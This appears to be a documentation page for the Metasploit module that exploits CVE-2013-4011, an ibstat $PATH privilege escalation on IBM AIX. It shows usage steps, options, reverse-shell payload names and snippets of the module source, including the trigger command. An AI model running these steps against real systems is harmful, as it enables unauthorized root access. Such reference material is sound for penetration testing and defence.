ibstat $PATH Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/aix/local/ibstat_path metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ibstat $PATH Privilege Escalation
Module: exploit/aix/local/ibstat_path
Source code: modules/exploits/aix/local/ibstat_path.rb
Disclosure date: 2013-09-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-4011

This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/aix/local/ibstat_path
msf exploit(ibstat_path) > show targets
    ... a list of targets ...
msf exploit(ibstat_path) > set TARGET target-id
msf exploit(ibstat_path) > show options
    ... show and set options ...
msf exploit(ibstat_path) > set SESSION session-id
msf exploit(ibstat_path) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the aix/local/ibstat_path exploit module looks in the msfconsole:

msf6 > use exploit/aix/local/ibstat_path

msf6 exploit(aix/local/ibstat_path) > show info

       Name: ibstat $PATH Privilege Escalation
     Module: exploit/aix/local/ibstat_path
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-24

Provided by:
  Kristian Erik Hermansen
  Sagi Shahar <[email protected]>
  Kostas Lintovois <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   IBM AIX Version 6.1
  1   IBM AIX Version 7.1

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  This module exploits the trusted $PATH environment variable of the 
  SUID binary "ibstat".

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-4011
  OSVDB (95420)
  http://www.securityfocus.com/bid/61287
  http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827
  http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756

Module Options


This is a complete list of options available in the aix/local/ibstat_path exploit:

msf6 exploit(aix/local/ibstat_path) > show options

Module options (exploit/aix/local/ibstat_path):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where we can write files

Exploit target:

   Id  Name
   --  ----
   1   IBM AIX Version 7.1

Advanced Options


Here is a complete list of advanced options supported by the aix/local/ibstat_path exploit:

msf6 exploit(aix/local/ibstat_path) > show advanced

Module advanced options (exploit/aix/local/ibstat_path):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets


Here is a list of targets (platforms and systems) which the aix/local/ibstat_path module can exploit:

msf6 exploit(aix/local/ibstat_path) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   IBM AIX Version 6.1
   1   IBM AIX Version 7.1

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the aix/local/ibstat_path exploit:

msf6 exploit(aix/local/ibstat_path) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                          normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                     normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/reverse_perl                       normal  No     Unix Command Shell, Reverse TCP (via Perl)
   3  payload/cmd/unix/reverse_perl_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via perl)

Evasion Options


Here is the full list of possible evasion options supported by the aix/local/ibstat_path exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(aix/local/ibstat_path) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Target is not vulnerable.


Here is a relevant code snippet related to the "Target is not vulnerable." error message:

58:	    Exploit::CheckCode::Safe
59:	  end
60:	
61:	  def exploit
62:	    if check == Exploit::CheckCode::Safe
63:	      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
64:	    else
65:	      print_good("Target is vulnerable.")
66:	    end
67:	
68:	    root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"

Found no interface, defaulting to en0.


Here is a relevant code snippet related to the "Found no interface, defaulting to en0." error message:

118:	        break
119:	      end
120:	    end
121:	    if iface == ""
122:	      iface = "en0"
123:	      print_status("Found no interface, defaulting to en0.")
124:	    end
125:	
126:	    print_status("Triggering vulnerablity...")
127:	    cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null")
128:	

gcc not found. Using /bin/sh from local system


Here is a relevant code snippet related to the "gcc not found. Using /bin/sh from local system" error message:

148:	    if gcc_whereis_output.include?("/")
149:	      print_good("gcc found!")
150:	      return true
151:	    end
152:	
153:	    print_status("gcc not found. Using /bin/sh from local system")
154:	    false
155:	  end
156:	
157:	  def is_root?
158:	    id_output = cmd_exec("id")

Exploit failed


Here is a relevant code snippet related to the "Exploit failed" error message:

162:	      return true
163:	    end
164:	    if id_output.include?("uid=0(root)")
165:	      print_good("Got root!")
166:	      return true
167:	    end
168:	
169:	    print_error("Exploit failed")
170:	    false
171:	  end
172:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Kristian Erik Hermansen
  • Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>
  • Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>

Version


This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.